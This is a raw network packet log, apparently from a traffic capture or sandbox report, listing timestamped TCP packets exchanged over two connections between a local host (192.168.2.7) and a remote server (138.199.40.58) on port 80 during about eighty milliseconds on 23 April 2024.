Apr 23, 2024 08:39:58.320470095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.320508957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.320585966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.321254969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.321294069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.322021008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.322848082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.322885990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.323642969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.323679924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.323709011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.323775053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.325228930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.325268030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.325928926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.325980902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.326019049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.326338053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.327541113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.327579975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.328282118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.328311920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.328320980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.329901934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.329938889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.329938889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.330686092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.330724001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.330751896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.332201004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.332237959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.332238913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.332426071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.332454920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.332463980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.334002972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.334038019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.334039927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.334163904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.334202051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.334225893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.335624933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.335761070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.335798979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.335889101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.336000919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.336039066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.336149931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.337564945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.337618113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.337670088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.337697983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.337706089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.339258909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.339313030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.339349031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.339349985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.339375973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.339421988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.339567900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.340925932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.340965033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.341114044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.341140985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.341150999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.342662096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.342700005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.342730999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.342739105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.342763901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.342775106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.343125105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.344209909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.344248056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.344285011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.344321012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.344341040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.344464064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.345854998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.345891953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.345977068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.346035004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.346072912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.346138000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.347434998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.347471952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.347507954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.347527981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.347547054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.347604990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.349087000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.349126101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.349261999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.349272013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.349309921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.349374056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.350542068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.350616932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.350687981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.350716114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.350765944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.350945950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.352081060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.352138996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.352175951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.352201939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.352211952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.352273941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.353630066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.353667021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.353703022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.353739023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.353766918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.353929996 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.355097055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.355134964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.355249882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.355254889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.355288982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.355474949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.356561899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.356599092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.356635094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.356673002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.356690884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.356743097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.358082056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.358119965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.358155966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.358182907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.358191967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.358398914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.359654903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.359694004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.359764099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.359795094 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.359800100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.360006094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.361042023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.361079931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.361115932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.361151934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.361185074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.361258030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.362374067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.362410069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.362446070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.362483025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.362493992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.362963915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.363636017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.363653898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.363708019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.363714933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.363744974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.363791943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.365211964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.365223885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.365293026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.365305901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.365323067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.365374088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.366437912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.366489887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.366563082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.366576910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.366595030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.366760969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.367868900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.367918015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.367959976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.367988110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.368004084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.368040085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.369088888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.369102955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.369163990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.369177103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.369199038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.369266987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.370552063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.370609999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.370623112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.370676041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.370698929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.370752096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.371717930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.371731043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.371881008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.371885061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.371898890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.371957064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.373274088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.373327971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.373341084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.373353004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.373421907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.373439074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.374324083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.374376059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.374497890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.374511003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.374572039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.374577045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.375649929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.375662088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.375720978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.375734091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.375750065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.375891924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.376847029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.376858950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.376946926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.376990080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.377003908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.377048969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.378355980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.378407955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.378421068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.378432989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.378453970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.378551960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.379390955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.379404068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.379512072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.379523993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.379554033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.379648924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.380568981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.380609989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.380774021 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.380794048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.380805016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.380945921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.381769896 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.381869078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.381967068 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.382040024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.382052898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.382116079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.383037090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.383049011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.383122921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.383265018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.383279085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.383368969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.384242058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.384258032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.384437084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.384464979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.384489059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.384639978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.385453939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.385467052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.385559082 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.385677099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.385689974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.385843039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.386629105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.386641979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.386734009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.386885881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.386974096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.387300014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.387753010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.387794971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.388052940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.388087034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.388137102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.388243914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.389000893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.389014006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.389168978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.389235020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.389287949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.389332056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.390120029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.390131950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.390199900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.390441895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.390499115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.390543938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.391257048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.391273022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.391422033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.391519070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.391555071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.391715050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.392398119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.392414093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.392477036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.392678976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.392693043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.392884970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.393980026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.393996000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.394062042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.394249916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.394334078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.394685984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.394731045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.394784927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.395003080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.395123959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.395128965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.395176888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.395843029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.395915985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.396121025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.396164894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.396256924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.396949053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.397037983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.397061110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.397200108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.397267103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.397383928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.397494078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.398035049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.398089886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.398212910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.398372889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.398504019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.398670912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.399152994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.399246931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.399441004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.399497032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.399538994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.399600983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.400209904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.400258064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.400337934 CEST	49704	80	192.168.2.7	138.199.40.58
